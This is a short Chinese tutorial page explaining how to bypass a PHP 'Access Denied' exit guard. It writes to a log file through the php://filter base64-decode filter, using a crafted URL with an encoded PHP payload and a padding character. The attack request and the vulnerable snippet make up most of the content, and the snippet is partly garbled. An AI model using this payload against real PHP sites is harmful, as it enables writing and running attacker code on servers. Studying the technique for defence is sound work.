好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

绕过AccessDenied的方法

经常会碰到'Access Denied',如何绕过呢?请详细阅读本文作者带来的小技巧。 register_globals = On ? php $sqlcontent = ?PHPexit('AccessDenied');? . $p . \n ; file_put_contents ( $logfile , $sqlcontent ); ? exp-demo.php?logfile=php://filter/writ

经常会碰到'Access Denied',如何绕过呢?请详细阅读本文作者带来的小技巧。

register_globals = On

     php         $sqlcontent    =    " "   .   $p   .   "\n"   ;      file_put_contents  (   $logfile   ,    $sqlcontent   );      ?>     


exp-demo.php?logfile=php://filter/write=convert. base64 -decode/resource=abc.php&p=a PD9waHAgcGhwaW5mbygpOy8vPz4=

base64-decode会掉过不能解码的特殊字符,变成PHPexitAccessDenied,Base64编码要求把3个8位字节(3*8=24)转化为4个6位的字节(4*6=24),保证能顺利解码补齐字符随便加个a补齐20位。(利用 base64 发生乱码)

参考
http://marc.info/?l=full-disclosure&m=126034719521671&w=2
http://docs.php测试数据/manual/zh/filters.convert.php

查看更多关于绕过AccessDenied的方法的详细内容...

  阅读:39次